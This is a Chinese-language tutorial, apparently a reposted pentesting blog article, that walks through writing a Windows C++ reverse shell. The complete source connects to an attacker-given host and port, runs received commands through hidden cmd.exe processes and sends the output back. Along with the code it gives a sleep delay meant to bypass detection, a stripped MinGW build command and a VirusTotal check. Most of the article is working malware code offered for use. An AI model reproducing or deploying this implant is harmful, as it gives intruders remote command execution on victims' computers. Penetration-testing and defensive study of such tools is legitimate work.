cmd管道无法接收特定程序返回值_渗透不会反弹shell?来教你写一个cmd的shell
滲透不會反彈shell?來教你寫一個cmd的shell
包含的庫:
#include #include #include #include #include #pragma comment(lib, "Ws2_32.lib")#define DEFAULT_BUFLEN 1024winsock2和ws2tcpip兩個庫文件是用來初始化網絡套接字的。windows用來初始化一些windows下的函數,string方便我們后面的一些字符串轉換,iostream則是標準的c++頭文件,#pragma comment(lib,“Ws2_32.lib”)用來指定編譯器使用靜態編譯該庫文件,防止其他環境下無法正常運行我們的文件。1024為給socket的recv和send函數定義緩沖區長度。
我們定義一個函數和一個主函數,反向shell的函數RunShell,兩個參數,一個是我們的host一個是ip
int RunShell(char *host, int port){}int main(int argc, char** argv) {}其中的argc為調用的參數的個數,argv為具體的值。這里稍微要注意一下,在接受參數的時候,默認的第一個參數是文件的路徑名,所以,我們在接下來的傳參的過程中,需要將argv[1]、argv[2]傳遞給我們的RunShell。
下面我們來編寫我們的RunShell函數,為了避免中間有斷開之類的情況,我們使用一個while循環進行一直監聽,然后監聽之前進行一些休眠,可以繞過部分檢測,代碼如下:
while (true) { Sleep(5000);//進行休眠,可過一些檢測 SOCKET ShellSock; sockaddr_in C2addr;//定義sock初始化需要的變量 WSADATA Sockver = { 0 };//定義并初始化一個LPWSADATA的指針 WSAStartup(MAKEWORD(2, 2), &Sockver);//初始化socket ShellSock = socket( AF_INET, //地址描述 SOCK_STREAM, //套接字類型 IPPROTO_TCP //協議類型 ); C2addr.sin_family = AF_INET; C2addr.sin_addr.S_un.S_addr = inet_addr(host);//轉化Ip地址 C2addr.sin_port = htons(port);//轉換端口 if (WSAConnect(ShellSock, (SOCKADDR*)&C2addr, sizeof(C2addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { closesocket(ShellSock); WSACleanup();//關閉套接字 continue; } //連接目標 }基本上都已經給出來了注釋,都是windows的api,具體的作用就是用來聲明一個socket套接字,然后跟目標進行連接,如果失敗,則跳出本次循環,繼續發出請求。
具體的用法,可以查看微軟官方的文檔:
https://docs.microsoft.com/zh-cn/windows/win32/api/winsock2/nf-winsock2-wsaconnect我們繼續,接下來我們來編寫我們的接收函數,并進行處理。
char RecvData[DEFAULT_BUFLEN]; memset(RecvData, 0, sizeof(RecvData));//將RecvData清0 int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);//接收數據 if (RecvCode<=0) { closesocket(ShellSock); WSACleanup(); continue; }然后我們定義一個數組來存放我們接收的數據,并使用memset將其清0,保證數據的準確性,因為recv如果錯誤的返回值是0或者負數,所以我們進行一個簡單的判斷,小于等于0時做跟前面相同的操作。
具體函數的用法參考:
https://docs.microsoft.com/zh-cn/windows/win32/api/winsock/nf-winsock-recv假如此時我們已經跟主機建立了連接,也成功接受到了數據,我們就應該將我們接收到的數據進行執行,并但返回給我們的主機。
主要思路就是調用CreateProcessA函數函數,去處理我們接收的值,然后啟動一個cmd進程處理并返回。
我們先來看一下CreateProcessA的用法:
BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);其他的都好說,主要是后兩個參數,STARTUPINFOA 和PROCESS_INFORMATION的指針,他們的定義為:
typedef struct _PROCESS_INFORMATION { HANDLE hProcess; HANDLE hThread; DWORD dwProcessId; DWORD dwThreadId;} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;typedef struct _STARTUPINFOA { DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError;} STARTUPINFOA, *LPSTARTUPINFOA;既然需要我們就定義這樣的兩個指針,然后再來調用我們的函數。
pApplicationName指向一個NULL結尾的、用來指定可執行模塊的字符串。這個參數可以被設為NULL,在這種情況下,可執行模塊的名字必須處于 lpCommandLine 參數最前面并由空格符與后面的字符分開。
lpCommandLine指向一個以NULL結尾的字符串,該字符串指定要執行的命令行。這個參數可以為空,那么函數將使用lpApplicationName參數指定的字符串當做要運行的程序的命令行。如果lpApplicationName和lpCommandLine參數都不為空,那么lpApplicationName參數指定將要被運行的模塊,lpCommandLine參數指定將被運行的模塊的命令行。新運行的進程可以使用GetCommandLine函數獲得整個命令行。C語言程序可以使用argc和argv參數。
lpProcessAttributes指向一個SECURITY_ATTRIBUTES結構體,這個結構體決定是否返回的句柄可以被子進程繼承。
lpThreadAttributes同lpProcessAttribute,不過這個參數決定的是線程是否被繼承,通常置為NULL。
bInheritHandles指示新進程是否從調用進程處繼承了句柄。如果參數的值為真,調用進程中的每一個可繼承的打開句柄都將被子進程繼承。被繼承的句柄與原進程擁有完全相同的值和訪問權限。
dwCreationFlags指定附加的、用來控制優先類和進程的創建的標志。
lpEnvironment指向一個新進程的環境塊。如果此參數為空,新進程使用調用進程的環境。一個環境塊存在于一個由以NULL結尾的字符串組成的塊中,這個塊也是以NULL結尾的。
lpCurrentDirectory指向一個以NULL結尾的字符串,這個字符串用來指定子進程的工作路徑。這個字符串必須是一個包含驅動器名的絕對路徑。如果這個參數為空,新進程將使用與調用進程相同的驅動器和目錄。這個選項是一個需要啟動應用程序并指定它們的驅動器和工作目錄的外殼程序的主要條件。
lpStartupInfo指向一個用于決定新進程的主窗體如何顯示的STARTUPINFO結構體。
lpProcessInformation指向一個用來接收新進程的識別信息的PROCESS_INFORMATION結構體。
cb表示包含STARTUPINFO結構中的字節數,應用程序必須將cb初始化為sizeof(STARTUPINFO)。
dwFlags表示結構體啟用哪些成員,其中STARTF_USESHOWWINDOW表示使用結構體成員wShowWindow;STARTF_USESTDHANDLES表示使用結構體成員hStdInput、hStdOutput 和 hStdError。
wShowWindow用于窗口顯示方式,SW_HIDE表示隱藏窗口。
hStdOutput 和 hStdError用于標識控制臺窗口的緩存。
除了這些之外,我們還需要一個管道來獲取命令執行后的值。
BOOL WINAPI CreatePipe( _Out_PHANDLE hReadPipe, _Out_PHANDLE hWritePipe, _In_opt_LPSECURITY_ATTRIBUTES lpPipeAttributes, _In_DWORD nSize ); HANDLE hReadPipe = NULL; HANDLE hWritePipe = NULL; SECURITY_ATTRIBUTES securityAttributes = { 0 }; BOOL bRet = FALSE; STARTUPINFO si = { 0 }; char command[] = "cmd.exe /c "; PROCESS_INFORMATION pi = { 0 }; char pszResultBuffer[DEFAULT_BUFLEN]; // 設定管道的安全屬性 securityAttributes.bInheritHandle = TRUE; securityAttributes.nLength = sizeof(securityAttributes); securityAttributes.lpSecurityDescriptor = NULL; // 創建匿名管道 bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0); // 設置新進程參數 si.cb = sizeof(si); si.hStdError = hWritePipe; si.hStdOutput = hWritePipe; si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; // 創建新進程執行命令, 將執行結果寫入匿名管道中 strcat(command, RecvData); bRet = ::CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); // 等待命令執行結束 ::WaitForSingleObject(pi.hThread, INFINITE); ::WaitForSingleObject(pi.hProcess, INFINITE); // 從匿名管道中讀取結果到輸出緩沖區 memset(pszResultBuffer, 0, sizeof(pszResultBuffer)); ::ReadFile(hReadPipe, pszResultBuffer, DEFAULT_BUFLEN, NULL, NULL); // 關閉句柄, 釋放內存 ::CloseHandle(pi.hThread); ::CloseHandle(pi.hProcess); ::CloseHandle(hWritePipe); ::CloseHandle(hReadPipe); send(ShellSock, pszResultBuffer, DEFAULT_BUFLEN, 0);大體的流程就是初始化匿名管道的安全屬性結構體SECURITY_ATTRIBUTES調用函數 CreatePipe 創建匿名管道,獲取管道數據讀取句柄和管道數據寫入句柄對即將創建的進程結構體STARTUPINFO進行初始化,設置進程窗口隱藏,并把上面管道數據寫入句柄賦值給新進程控制臺窗口的緩存句柄,這樣,新進程會把窗口緩存的輸出數據寫入到匿名管道中開始調用 CreateProcess 函數創建新進程,執行 CMD 命令,并調用函數 WaitForSingleObject 等待命令執行完畢,命令執行完畢后,便調用 ReadFile 函數根據匿名管道的數據讀取句柄從匿名管道的緩沖區中讀取緩沖區的數據,這個數據就是新進程執行命令返回的結果數據,然后將得到的數據發送給我們的服務端。
詳細的函數說明如下:
https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobjecthttps://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessahttps://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information最后的代碼如下:
#include #include #include #include #include #pragma comment(lib, "Ws2_32.lib")#define DEFAULT_BUFLEN 1024using namespace std;int RunShell(char *host, int port){ while (true) { Sleep(5000); SOCKET ShellSock; sockaddr_in C2addr; WSADATA Sockver = { 0 }; WSAStartup(MAKEWORD(2, 2), &Sockver); ShellSock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); C2addr.sin_family = AF_INET; C2addr.sin_addr.S_un.S_addr = inet_addr(host); C2addr.sin_port = htons(port); if (WSAConnect(ShellSock, (SOCKADDR*)&C2addr, sizeof(C2addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { closesocket(ShellSock); WSACleanup(); continue; } else { char RecvData[DEFAULT_BUFLEN]; memset(RecvData, 0, sizeof(RecvData)); int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0); if (RecvCode<=0) { closesocket(ShellSock); WSACleanup(); continue; } else { HANDLE hReadPipe = NULL; HANDLE hWritePipe = NULL; SECURITY_ATTRIBUTES securityAttributes = { 0 }; BOOL bRet = FALSE; STARTUPINFO si = { 0 }; char command[] = "cmd.exe /c "; PROCESS_INFORMATION pi = { 0 }; char pszResultBuffer[DEFAULT_BUFLEN]; securityAttributes.bInheritHandle = TRUE; securityAttributes.nLength = sizeof(securityAttributes); securityAttributes.lpSecurityDescriptor = NULL; bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0); si.cb = sizeof(si); si.hStdError = hWritePipe; si.hStdOutput = hWritePipe; si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; strcat(command, RecvData); bRet = ::CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); ::WaitForSingleObject(pi.hThread, INFINITE); ::WaitForSingleObject(pi.hProcess, INFINITE); memset(pszResultBuffer, 0, sizeof(pszResultBuffer)); ::ReadFile(hReadPipe, pszResultBuffer, DEFAULT_BUFLEN, NULL, NULL); ::CloseHandle(pi.hThread); ::CloseHandle(pi.hProcess); ::CloseHandle(hWritePipe); ::CloseHandle(hReadPipe); send(ShellSock, pszResultBuffer, DEFAULT_BUFLEN, 0); } } }}int main(int argc, char** argv) { int port = atoi(argv[2]); RunShell(argv[1],port);}使用下面的方式編譯:
i686-w64-mingw32-g++ 2.cpp -o 2.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc執行效果如下:
vt檢測:
參考文章:
https://scriptdotsh.com/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/
https://www.codeleading.com/article/1126284392/
在滲透測試過程中,經常會用到反彈shell,學習本實驗《反彈shell的N種姿勢》,了解反彈shell的概念和原理,掌握各種反彈shell的實現技術和方法。復制下方鏈接,也可以點擊
http://www.hetianlab.com/expc.do?ec=ECID5176-f1a3-433a-b3a2-a7ff4eab2d1d
點擊獲取:2019原創干貨集錦 | 掌握學習主動權
大家有好的技術原創文章
歡迎投稿至郵箱:edu@heetian.com
合天會根據文章的時效、新穎、文筆、實用等多方面評判給予200元-800元不等的稿費哦
有才能的你快來投稿吧!
了解投稿詳情點擊——重金懸賞 | 合天原創投稿漲稿費啦!
戳
創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎總結
以上是生活随笔為你收集整理的cmd管道无法接收特定程序返回值_渗透不会反弹shell?来教你写一个cmd的shell的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 网球俱乐部物语球员招募攻略 招募方法汇总
- 下一篇: 云溪怎么导入dxf_dwg怎么转换成dx